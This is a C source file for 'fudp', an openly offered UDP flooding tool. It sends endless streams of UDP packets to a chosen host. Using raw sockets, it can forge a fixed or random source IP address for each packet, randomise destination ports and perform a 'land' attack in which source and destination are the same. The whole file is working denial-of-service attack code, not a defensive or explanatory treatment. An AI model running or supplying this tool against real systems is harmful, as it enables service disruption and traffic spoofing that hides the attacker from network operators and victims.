#define _GNU_SOURCE
#include <unistd.h>             /* alarm. */
#include <sys/types.h>          /* socket */
#include <sys/socket.h>         /* inet_ntoa, socket */
#include <arpa/inet.h>          /* inet_ntoa. */
#include <stdio.h>              /* printf. */
#include <string.h>             /* memset. */
#include <stdlib.h>             /* atoi. */
#include <time.h>               /* time. */
#include <netdb.h>              /* gethostbyname. */

#define __FAVOR_BSD
#include <netinet/in_systm.h>   /* ntime -> ip.h (*BSD) */
#include <netinet/in.h>         /* inet_ntoa. */
#include <netinet/ip.h>
#include <netinet/udp.h>

#define YES     1
#define NO      0
#define ERROR   1
#define SUCCESS 0
#define VER     "0.2a"


u_short  in_cksum( u_int16_t *addr, int len );
int      create_socket( short rewrite_source );
void     timeout( void );
void     simple_sendto( short one_packet, short packet_size, struct sockaddr_in *sin, socklen_t sin_len );
void     spoofed_sendto( short one_packet, short packet_size, short random_source, short land_attack, char *source_ip, struct hostent *rev, struct sockaddr_in *sin, socklen_t sin_len );
void     help( char *argv0 );



/**********************************************
* char *argv0 <-- filename.
* Print help and exit.
**********************************************/
void
help( char *argv0 )
{
    printf("fudp (%s) by urug.projects(at)gmail.com ;]\n"\
           "Syntax: %s <flags>\n\n"\
           "You need to specify at least destination (-d) flag!\n",
           VER, argv0 );

    printf("non-root (probably same sport for each pkt):\n"\
           "\t-b\t\twork in background.\n"\
           "\t-rd\t\trandom destination port for each pkt.\n"\
           "\t-1\t\tsend only one packet.\n"
           "\t-d <host>\tdestination hostname or IP address.\n"\
           "\t-p <port>\tdestination port number (default 1234)\n"\
           "\t-z <size>\tpacket data size (default 10, max 99)\n"\
           "\t-t <time>\thow long send packets (in seconds, default unlimited).\n\n");

    printf("only root (random sport for each pkt):\n"\
           "\t-rs\t\trandom source IP address for each pkt.\n"\
           "\t-l\t\tland udp attack.\n"\
           "\t-s <source>\tsource IP address.\n");

    exit(ERROR);
}



/**********************************************
* Parse command line args.
* Run UDP flooding functions.
**********************************************/
int
main( int argc, char **argv )
{
    struct      sockaddr_in     sin;
    struct      hostent         *rev;

    short       cl_rsource=NO,    /* random source. */
                cl_rdport=NO,     /* random dport. */
                cl_tofork=NO,     /* work as daemon. */
                cl_dport=1234,  /* destination port. */
                cl_size=10,       /* packet size. */
                cl_one=NO,        /* send only one packet. */
                cl_time=NO,       /* send only %d seconds. */
                cl_land=NO;       /* land attack. */
    char        *cl_dest="1.xyz", /* destination IP. */
                *cl_source=NULL;  /* source IP. */


    /* parse command line args. */
    if( argc == 1 )
        help( argv[0] );
    else
    {
        while( *++argv != NULL )
            if( strcmp( *argv,"-b" ) == 0 )
                cl_tofork = YES;
            else if( strcmp( *argv,"-rd" ) == 0 )
                cl_rdport = YES;
            else if( strcmp( *argv,"-1" ) == 0 )
                cl_one = YES;
            else if( strcmp( *argv,"-l" ) == 0 )
                cl_land = YES;
            else if( strcmp( *argv,"-rs" ) == 0 )
                cl_rsource = YES;
            else if( strcmp( *argv,"-s" ) == 0 && *++argv != NULL )
                cl_source = *argv;
            else if( *argv != NULL  &&  strcmp( *argv,"-d" ) == 0  && *++argv != NULL )
                cl_dest = *argv;
            else if( *argv != NULL  &&  strcmp( *argv,"-p" ) == 0  && *++argv != NULL )
                cl_dport = atoi(*argv);
            else if( *argv != NULL  &&  strcmp( *argv,"-z" ) == 0  && *++argv != NULL )
                cl_size = atoi(*argv);
            else if( *argv != NULL  &&  strcmp( *argv,"-t" ) == 0  && *++argv != NULL )
                cl_time = atoi(*argv);
            else
            {
                if( *argv == NULL )
                    printf("This option need an argument.\n");
                else
                    printf("Unknown option %s.\n", *argv);

                return ERROR;
            }
    }


    /* get ip address of a machine. */
    if( (rev = gethostbyname( cl_dest )) == NULL )
    {
        herror(cl_dest);
        return ERROR;
    }

    /* fill sin struct. */
    sin.sin_family = rev->h_addrtype;
    memcpy((char *)&sin.sin_addr, *rev->h_addr_list, rev->h_length );
    if( cl_rdport == YES )
        sin.sin_port = 0;       /* 0 means random. */
    else
        sin.sin_port = htons(cl_dport);

    /* Go to background. */
    if( cl_tofork == YES )
        if( fork() != 0 )
          return SUCCESS;

    /* Stop after user defined time. */
    if( cl_time != NO )
        alarm(cl_time);

    /* Start sending packets. */
    if( cl_rsource == YES || cl_source != NULL || cl_land == YES )
        spoofed_sendto( cl_one, cl_size, cl_rsource, cl_land, cl_source, rev, &sin, sizeof(sin) );
    else
        simple_sendto( cl_one, cl_size, &sin, sizeof(sin) );


    /* end. */
    return SUCCESS;
}



/**********************************************
* Send UDP packets with other than current machine
* source address.
**********************************************/
void
spoofed_sendto( short one_packet, short data_size, short random_source, short land_attack, char *source_ip, struct hostent *rev, struct sockaddr_in *sin, socklen_t sin_len )
{
    struct      udphdr  udphdr; /* udp header. */
    struct      ip      iphdr;  /* ip header. */
    char        packet[200],    /* Packet headers and data. */
                *temp;          /* Temporary ptr. */
    int         i, sock,        /* Temp variable and socket. */
                packet_size;
    short       rdport = NO;


    /* Check packet size. */
    if( data_size > 99 )
    {
        printf("Packet data too big (max 99)\n");
        return;
    }

    /* Write packet size. */
    packet_size = sizeof(udphdr) + sizeof(iphdr) + data_size;

    /* write IP headers. */
    iphdr.ip_hl = 5;
    iphdr.ip_v = 4;
    iphdr.ip_tos = 0x0;
    iphdr.ip_id = htons(1);
    iphdr.ip_off = 0;
    iphdr.ip_ttl = 64;
    iphdr.ip_p = IPPROTO_UDP;
    memcpy((char *)&iphdr.ip_dst.s_addr, *rev->h_addr_list, rev->h_length );
    iphdr.ip_sum = in_cksum((u_short *)&iphdr, sizeof(iphdr));
    iphdr.ip_len = htons(sizeof(iphdr) + sizeof(udphdr) + data_size);

    /* Write UDP headers. */
    udphdr.uh_sum = 0;
    udphdr.uh_ulen = htons(sizeof(udphdr) + data_size);

    /* seed new sequence of pseudo random integers. */
    srand(time(NULL));

    /* Write destination port. If sin_port is 0, set random
       dport (because 0 means random) */
    if( sin->sin_port == 0 )
        rdport = YES;
    else
        udphdr.uh_dport = sin->sin_port;

    /* Write source IP address and source port for land attack. */
    if( land_attack == YES )
    {
        memcpy((char *)&iphdr.ip_src.s_addr, *rev->h_addr_list, rev->h_length );
        udphdr.uh_sport = udphdr.uh_dport;
    }
    else if( random_source != YES )
        iphdr.ip_src.s_addr = inet_addr(source_ip);

    /* copy headers and data to packet table[]. */
    memcpy(packet, &iphdr, sizeof(iphdr));
    temp = &packet[sizeof(iphdr)];
    memcpy(temp, &udphdr, sizeof(udphdr));
    temp = &packet[sizeof(iphdr) + sizeof(udphdr)];
    for( i = 0; i != data_size ; i++ )
        *temp++ = 'z';


    /* send packets. */
    sock = create_socket( YES );
    if( one_packet == YES )
        sendto( sock, packet, packet_size, 0, (struct sockaddr *)sin, sin_len );
    else
    {
        while(1)
        {
            /* Write random source ip address. */
            if( random_source == YES )
            {
                iphdr.ip_src.s_addr = rand();
                memcpy(packet, &iphdr, sizeof(iphdr));
            }

            /* Write new destination port. */
            if( rdport == YES )
                udphdr.uh_dport = htons(rand()%65535);

            /* Write new source port. */
            if( land_attack == YES && rdport == YES )
                udphdr.uh_sport = udphdr.uh_dport;
            else if( land_attack != YES )
                udphdr.uh_sport = htons(rand()%65535);

            /* Write new udp header, with at least new source port. */
            memcpy(&packet[sizeof(iphdr)], &udphdr, sizeof(udphdr));

            /* Send packet. */
            sendto( sock, packet, packet_size, 0, (struct sockaddr *)sin, sin_len );
        }
    }
}



/**********************************************
* Just send UDP packets.
**********************************************/
void
simple_sendto( short one_packet, short data_size, struct sockaddr_in *sin, socklen_t sin_len )
{
    char        packet[100];    /* Packet data. */
    short       rdport = NO,    /* Random destination port. */
                i;              /* Temporary variable. */
    int         sock;           /* socket. */


    /* Check packet size. */
    if( data_size > 99 )
    {
        printf("Packet data too big (max 99)\n");
        return;
    }
    else /* Write data to packet. */
        for( i = 0; i != data_size ; i++ )
            packet[i] = 'z';

    /* If sin_port is 0, user want random destination port.
       Set rdport to YES, and use srand to seed new sequence of
       pseudo random integers. Write new dport.*/
    if( sin->sin_port == 0 )
    {
        rdport = YES;
        srand(time(NULL));
        sin->sin_port = htons(rand()%65535);
    }

    /* Create socket (We dont need to rewrite headers) and send packets. */
    sock = create_socket( NO );
    if( one_packet == YES )
    {
        sendto( sock, packet, data_size, 0, (struct sockaddr *)sin, sin_len );
    }
    else
        while(1)
        {
            /* Send packet. */
            sendto( sock, packet, data_size, 0, (struct sockaddr *)sin, sin_len );

            /* Generate new destination port. */
            if( rdport == YES )
                sin->sin_port = htons(rand()%65535);
        }
}



/**********************************************
* Return UDP or RAW socket.
**********************************************/
int
create_socket( short rewrite_source )
{
    int sock;   /* socket. */


    /* If function which sends packets need to rewrite ip headers,
       create RAW socket. */
    if( rewrite_source == YES )
        sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    else
        sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);


    if( sock == -1 )
    {
        perror("socket");
        exit(1);
    }
    else
        return sock;
}



/**********************************************
* Count packet checksum.
**********************************************/
u_short
in_cksum( u_int16_t *addr, int len )
{
    int         nleft = len;
    u_int16_t   *w = addr;
    u_int32_t   sum = 0;
    u_int16_t   answer = 0;


    /*
    * Our algorithm is simple, using a 32 bit accumulator (sum), we add
    * sequential 16 bit words to it, and at the end, fold back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while( nleft > 1 )
    {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if( nleft == 1 )
    {
        answer=0;
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
    sum += (sum >> 16);                     /* add carry */
    answer = ~sum;                          /* truncate to 16 bits */
    return answer;
}